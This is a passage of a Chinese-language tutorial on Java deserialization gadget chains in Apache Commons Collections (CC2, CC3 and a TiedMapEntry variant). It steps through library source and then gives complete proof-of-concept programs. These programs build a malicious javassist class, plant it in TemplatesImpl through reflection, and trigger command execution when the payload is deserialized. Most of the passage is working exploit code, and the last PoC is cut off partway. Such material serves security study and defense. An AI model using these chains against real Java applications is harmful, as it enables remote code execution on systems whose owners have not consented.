public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new Hashtable();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
...
}
这个方法会创建一个长度为_bytecodes.length
的数组_class
,然后循环遍历每个转换类的字节码,并通过loader.defineClass(_bytecodes[i])
方法将字节码转换为实际的Class
对象
如果_bytecodes
保存的是恶意的字节码,那这里就可以获得一个恶意的Class对象
其中_bytecodes
可以通过构造函数获取,但是这个是protected类型的,不能直接调用,为了不那么麻烦,可以考虑通过反射修改属性的值了
protected TemplatesImpl(byte[][] bytecodes, String transletName,
Properties outputProperties, int indentNumber,
TransformerFactoryImpl tfactory)
{
_bytecodes = bytecodes;
init(transletName, outputProperties, indentNumber, tfactory);
}
通过反射修改属性的值:
TemplatesImpl tmpl = new TemplatesImpl();
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, new byte[][]{bytes});
如何获取恶意的bytes?
使用javasist
创建恶意类,转换成bytes
,然后使用ClassLoader进行加载测试
ClassPool pool = ClassPool.getDefault();
CtClass Evil = pool.makeClass("Evil");
Evil.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String name = "Evil";
Evil.setName(name);
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
CtConstructor constructor = Evil.makeClassInitializer();
constructor.insertBefore(cmd);
byte[] bytes =Evil.toBytecode();
Evil.writeFile("./");
//测试
Class clas = Class.forName("java.lang.ClassLoader");
Method defineclass = clas.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineclass.setAccessible(true);
Class claz = (Class) defineclass.invoke(ClassLoader.getSystemClassLoader(),"Evil",bytes,0,bytes.length);
claz.newInstance();
其中,第三行是设置这个恶意类继承AbstractTranslet
,为什么要这么做呢?
因为上面提到的defineTransletClasses
中,存在if检查,检查这个类的父类是否为ABSTRACT_TRANSLET
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
目前的poc:
//构造恶意类
ClassPool pool = ClassPool.getDefault();
CtClass Evil = pool.makeClass("Evil");
Evil.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String name = "Evil";
Evil.setName(name);
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
CtConstructor constructor = Evil.makeClassInitializer();
constructor.insertBefore(cmd);
byte[] bytes =Evil.toBytecode();
//通过反射使得_bytecodes=bytes
TemplatesImpl tmpl = new TemplatesImpl();
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, new byte[][]{bytes});
这里只是获取了恶意的Class,但是还没有进行实例化
查看在这个类下的getTransletInstance
方法
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
在这个方法中,如果属性_name
为空直接返回null,需要反射修改这个值如果_class 为空则调用刚刚的defineTransletClasses()
,然后后面newInstance()会对_class
的内容进行建类的实例,就是获取到这个恶意类的实例,执行恶意类
所以构造poc需要添加:
Field _name = TemplatesImpl.class.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(tmpl,"aaa");
Field _class = TemplatesImpl.class.getDeclaredField("_class");
_class.setAccessible(true);
_class.set(tmpl,null);
下一步是查看哪里调用了getTransletInstance
,然后就找到了newTransformer
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
这个方法是public方法可以直接调用,然后就可以触发前面的链子执行命令了
tmpl.newTransformer();
到这里还没有到readObject,继续寻找
注意看上面的newTransformer方法,它返回一个 Transformer
对象。这很关键
这里直接使用了前面链子中用到过的InvokerTransformer
,这个可以调用任意方法
InvokerTransformer transformer = new InvokerTransformer("newTransformer",null,null);
transformer.transform(tmpl);
这样就可以代替tmpl.newTransformer()
,而且还可以链到CC2第一条链子上(TransformingComparator版本)
后面的就不详细分析了,上面有
下一步就是调用到org.apache.commons.collections4.comparators.TransformingComparator#compare()
public TransformingComparator(final Transformer<? super I, ? extends O> transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}
public TransformingComparator(final Transformer<? super I, ? extends O> transformer,
final Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
所以使用
TransformingComparator transformingComparator = new TransformingComparator(transformer);
transformingComparator.compare(tmpl,tmpl);
替换transformer.transform(tmpl);
下一步就是找调用compare
的地方
java.util.PriorityQueue#siftDownUsingComparator()
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
这里使用第二个compare
来触发,毕竟它的参数x
是直接来自方法的参数,而且comparator
是类属性,可以通过反射修改为transformingComparator
下一步就是看siftDown
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
这里需要控制comparator != null,上面已经通过反射修改,不为空
然后就到了这里heapify
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
这里需要注意一下我们需要控制的参数变成了queue[i]
,这个queue是这个类的属性,可以通过反射修改
还有size >>> 1这里表示右移一位即相当于除二,所以size最小为2,可以通过添加队列元素控制,也可以通过反射控制
然后就来到了这个类的readObject
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
整个调用链:
graph TB A("java.util.PriorityQueue#\nreadObject()") --> B("java.util.PriorityQueue#\nheapify()") B("java.util.PriorityQueue#\nheapify()")--> C("java.util.PriorityQueue#\nsiftDown()") C("java.util.PriorityQueue#\nsiftDown()")-->D("java.util.PriorityQueue#\nsiftDownUsingComparator()") D("java.util.PriorityQueue#\nsiftDownUsingComparator()")-->E("org.apache.commons.collections4.comparators.TransformingComparator#\ncompare()") E("org.apache.commons.collections4.comparators.TransformingComparator#\ncompare()")-->F("org.apache.commons.collections4.functors.InvokerTransformer#\ntransform()") F("org.apache.commons.collections4.functors.InvokerTransformer#\ntransform()")-->G("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\nnewTransformer()") G("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\nnewTransformer()")-->H("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\ngetTransletInstance()") H("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\ngetTransletInstance()")-->I("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\ndefineTransletClasses()") I("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\ndefineTransletClasses()")-->J("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\nTransletClassLoader.defineClass()") J("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\nTransletClassLoader.defineClass()")-->K("Runtime.getRuntime.exec")
最终POC:
package org.example;
import java.io.*;
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import java.util.PriorityQueue;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
public class App
{
public static void main(String[] args ) throws IOException, NotFoundException, CannotCompileException, IllegalAccessException, NoSuchFieldException, ClassNotFoundException {
//构造恶意类
ClassPool pool = ClassPool.getDefault();
CtClass Evil = pool.makeClass("Evil");
Evil.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String name = "Evil";
Evil.setName(name);
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
CtConstructor constructor = Evil.makeClassInitializer();
constructor.insertBefore(cmd);
byte[] bytes =Evil.toBytecode();
//通过反射使得_bytecodes=bytes
TemplatesImpl tmpl = new TemplatesImpl();
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, new byte[][]{bytes});
Field _name = TemplatesImpl.class.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(tmpl,"aaa");
Field _class = TemplatesImpl.class.getDeclaredField("_class");
_class.setAccessible(true);
_class.set(tmpl,null);
// tmpl.newTransformer();
InvokerTransformer transformer = new InvokerTransformer("newTransformer",null,null);
// transformer.transform(tmpl);
TransformingComparator transformingComparator = new TransformingComparator(transformer);
// transformingComparator.compare(tmpl,tmpl);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(2);
Field comparator_field = queue.getClass().getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,transformingComparator);
Field queue_ = queue.getClass().getDeclaredField("queue");
queue_.setAccessible(true);
queue_.set(queue, new Object[]{tmpl,1});
serialize(queue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
CC3
条件:commons-collections: 3.1~3.2.1
jdk: <7u21或jdk8低版本
环境:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>
这个条链子可以说是CC1和CC2的结合,前半部分是CC2的后半部分是CC1的
下面是前半部分的,就是上面CC2种javassist写入恶意字节码部分,这里就不分析了
//构造恶意类
ClassPool pool = ClassPool.getDefault();
CtClass Evil = pool.makeClass("Evil");
Evil.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String name = "Evil";
Evil.setName(name);
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
CtConstructor constructor = Evil.makeClassInitializer();
constructor.insertBefore(cmd);
byte[] bytes =Evil.toBytecode();
//通过反射使得_bytecodes=bytes
TemplatesImpl tmpl = new TemplatesImpl();
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, new byte[][]{bytes});
Field _name = TemplatesImpl.class.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(tmpl,"aaa");
Field _class = TemplatesImpl.class.getDeclaredField("_class");
_class.setAccessible(true);
_class.set(tmpl,null);
tmpl.newTransformer();//触发命令执行
下一步就是寻找哪些地方可以调用newTransformer()
这里使用的是com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
这个类
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
在这个类的构造方法种就调用了newTransformer()
方法,templates
参数可控
直接构造new TrAXFilter(tmpl);就能触发
下一步就是找到一个方法调用了TrAXFilter
的构造方法
这里找到的是org.apache.commons.collections.functors.InstantiateTransformer
的transform
方法
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException ex) {
throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
} catch (IllegalAccessException ex) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
} catch (InvocationTargetException ex) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
}
}
其构造方法如下:
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
super();
iParamTypes = paramTypes;
iArgs = args;
}
这个iParamTypes可控,说明Constructor con = ((Class) input).getConstructor(iParamTypes);
可控,这条语句的意思是,获取指定参数类型的构造方法,然后使用构造函数的newInstance()
方法创建对象的实例。iArgs
表示实际传递给构造函数的参数列表
所以构造下面代码就可以命令执行了:
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tmpl});
instantiateTransformer.transform(TrAXFilter.class);
这里和CC1一样,因为这个transform
还需要传入一个参数TrAXFilter.class
,这对后面的利用中参数控制带来一定的麻烦
于是又用上了ConstantTransformer
这个类
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
这个类的transform
方法直接返回构造函数的参数
再利用ChainedTransformer
将这两个类串起来:
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tmpl})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform('a');
然后后面的链子就是CC1的内容了:
找到一个调用了transform
的类,按照CC1的就是LazyMap()这个类的get()
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
所以将transformerChain.transform('a');
替换成:
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map,transformerChain);
lazyMap.get("a");
AnnotationInvocationHandler版本
下一步就是寻找调用了get()的地方,然后找到了sun.reflect.annotation.AnnotationInvocationHandler
的invoke
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
switch (var4) {
case "toString":
return this.toStringImpl();
case "hashCode":
return this.hashCodeImpl();
case "annotationType":
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
这个类的构造方法如下:this.memberValues 可控,设置 this.memberValues 为我们构造的 LazyMap,但是这里存在一个if判断,第一个参数类型必须是注解
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
下一步就要想如何调用这个invoke
方法
这部分涉及到 java 的动态代理。创建一个 AnnotationInvocationHandler 的代理类,当调用 AnnotationInvocationHandler 的代理类里的任意方法时都会先调用 AnnotationInvocationHandler#invoke() 方法,有点像php里的 _call() 只不过 _call() 在调用不存在的方法才触发
//实例一个 AnnotationInvocationHandler 类
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);//获取指定参数类型的构造函数
construct.setAccessible(true);
//这里第一个参数必须是注释类型的
InvocationHandler handler = (InvocationHandler) construct.newInstance(Repeatable.class, lazyMap);
// 创建 AnnotationInvocationHandler 的代理
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
//调用代理对象的任意方法
proxyMap.size();
这里可以调用任意方法触发,只要找到一个readObject有对我们的代理对象调用任意方法就行,最后使用的是AnnotationInvocationHandler的readObject方法
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Map.Entry var5 = (Map.Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
这里需要再实例化一个AnnotationInvocationHandler 包裹的代理对象 proxyMap
handler = (InvocationHandler) construct.newInstance(Repeatable.class, proxyMap);
然后对这个类进行序列化和反序列化
serialize(handler);
unserialize("ser.bin");
利用链如下:
graph TB A("sun.reflect.annotation.AnnotationInvocationHandler#\nreadObject()")-->B("sun.reflect.annotation.AnnotationInvocationHandler#\ninvoke()") B("sun.reflect.annotation.AnnotationInvocationHandler#\ninvoke()")-->C("org.apache.commons.collections.map.LazyMap#\nget()") C("org.apache.commons.collections.map.LazyMap#\nget()")-->D("org.apache.commons.collections.functors.ChainedTransformer#\ntransform()") D("org.apache.commons.collections.functors.ChainedTransformer#\ntransform()")-->E("org.apache.commons.collections.functors.InstantiateTransformer#\ntransform()\n和\norg.apache.commons.collections.functors.ConstantTransformer#\ntransform()") E("org.apache.commons.collections.functors.InstantiateTransformer#\ntransform()\n和\norg.apache.commons.collections.functors.ConstantTransformer#\ntransform()")-->F("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter#\nTrAXFilter()") F("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter#\nTrAXFilter()")-->G("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\nnewTransformer()") G("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\nnewTransformer()")-->H("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\ngetTransletInstance()") H("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\ngetTransletInstance()")-->I("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\ndefineTransletClasses()") I("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\ndefineTransletClasses()")-->J("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\nTransletClassLoader.defineClass()") J("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\nTransletClassLoader.defineClass()")-->K("Runtime.getRuntime.exec")
最后的POC:
package org.example;
import java.io.*;
import java.lang.annotation.Repeatable;
import java.lang.reflect.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
public class App
{
public static void main( String[] args ) throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
//构造恶意类
ClassPool pool = ClassPool.getDefault();
CtClass Evil = pool.makeClass("Evil");
Evil.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String name = "Evil";
Evil.setName(name);
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
CtConstructor constructor = Evil.makeClassInitializer();
constructor.insertBefore(cmd);
byte[] bytes =Evil.toBytecode();
//通过反射使得_bytecodes=bytes
TemplatesImpl tmpl = new TemplatesImpl();
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, new byte[][]{bytes});
Field _name = TemplatesImpl.class.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(tmpl,"aaa");
Field _class = TemplatesImpl.class.getDeclaredField("_class");
_class.setAccessible(true);
_class.set(tmpl,null);
// tmpl.newTransformer();
// InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tmpl});
// instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tmpl})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
// transformerChain.transform('a');
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map,transformerChain);
// lazyMap.get("a");
//实例一个 AnnotationInvocationHandler 类
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);//获取指定参数类型的构造函数
construct.setAccessible(true);
//这里第一个参数必须是注释类型的
InvocationHandler handler = (InvocationHandler) construct.newInstance(Repeatable.class, lazyMap);
// 创建 AnnotationInvocationHandler 的代理
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
//调用代理对象的任意方法
// proxyMap.size();
// 再实例化一个 AnnotationInvocationHandler 包裹的代理对象 proxyMap
handler = (InvocationHandler) construct.newInstance(Repeatable.class, proxyMap);
serialize(handler);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
TiedMapEntry版本
接着上面LazyMap的get()方法,在CC1中还有另外一条路可走,那就是TiedMapEntry
这个类
public Object getValue() {
return map.get(key);
}
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
这个getValue
方法调用了get()方法,其中map可以通过构造函数赋值,hashCode
方法调用了getValue方法
TiedMapEntry tiedmapentry= new TiedMapEntry(lazyMap,"abc");
tiedmapentry.hashCode();
下一步就是寻找调用hashCode方法的地方
在java.util.HashMap
, 可以构造hash(tiedmapentry)
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
但是hash方法不是public类型,只能内部调用
正好这个类的readObject方法调用了这个hash,结束这个链子
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
.....
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
整个调用链如下:
graph TB A("java.util.HashMap#\nreadObject()")-->B("java.util.HashMap#\nhash()") B("java.util.HashMap#\nhash()")-->C("org.apache.commons.collections.keyvalue.TiedMapEntry#\nhashCode()") C("org.apache.commons.collections.keyvalue.TiedMapEntry#\nhashCode()")-->D("org.apache.commons.collections.keyvalue.TiedMapEntry#\ngetValue()") D("org.apache.commons.collections.keyvalue.TiedMapEntry#\ngetValue()")-->E("org.apache.commons.collections.map.LazyMap#\nget()") E("org.apache.commons.collections.map.LazyMap#\nget()")-->F("org.apache.commons.collections.functors.ChainedTransformer#\ntransform()") F("org.apache.commons.collections.functors.ChainedTransformer#\ntransform()")-->G("org.apache.commons.collections.functors.InstantiateTransformer#\ntransform()\n和\norg.apache.commons.collections.functors.ConstantTransformer#\ntransform()") G("org.apache.commons.collections.functors.InstantiateTransformer#\ntransform()\n和\norg.apache.commons.collections.functors.ConstantTransformer#\ntransform()")-->H("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter#\nTrAXFilter()") H("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter#\nTrAXFilter()")-->I("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\nnewTransformer()") I("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\nnewTransformer()")-->J("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\ngetTransletInstance()") J("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\ngetTransletInstance()")-->K("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\ndefineTransletClasses()") K("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\ndefineTransletClasses()")-->L("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\nTransletClassLoader.defineClass()") L("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\nTransletClassLoader.defineClass()")-->M("Runtime.getRuntime.exec")
最后的POC
package org.example;
import java.io.*;
import java.lang.annotation.Repeatable;
import java.lang.reflect.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
public class App
{
public static void main( String[] args ) throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
//构造恶意类
ClassPool pool = ClassPool.getDefault();
CtClass Evil = pool.makeClass("Evil");
Evil.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String name = "Evil";
Evil.setName(name);
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
CtConstructor constructor = Evil.makeClassInitializer();
constructor.insertBefore(cmd);
byte[] bytes =Evil.toBytecode();
//通过反射使得_bytecodes=bytes
TemplatesImpl tmpl = new TemplatesImpl();
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, new byte[][]{bytes});
Field _name = TemplatesImpl.class.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(tmpl,"aaa");
Field _class = TemplatesImpl.class.getDeclaredField("_class");
_class.setAccessible(true);
_class.set(tmpl,null);
// tmpl.newTransformer();
// InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tmpl});
// instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tmpl})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
// transformerChain.transform('a');
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map,transformerChain);
// lazyMap.get("a");
TiedMapEntry tiedmapentry= new TiedMapEntry(lazyMap,"abc");
// tiedmapentry.hashCode();
Map expMap=new HashMap();
